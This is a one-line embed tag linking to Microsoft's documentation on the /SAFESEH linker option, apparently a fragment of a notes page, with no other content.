{% embed url="<https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-160>" %}
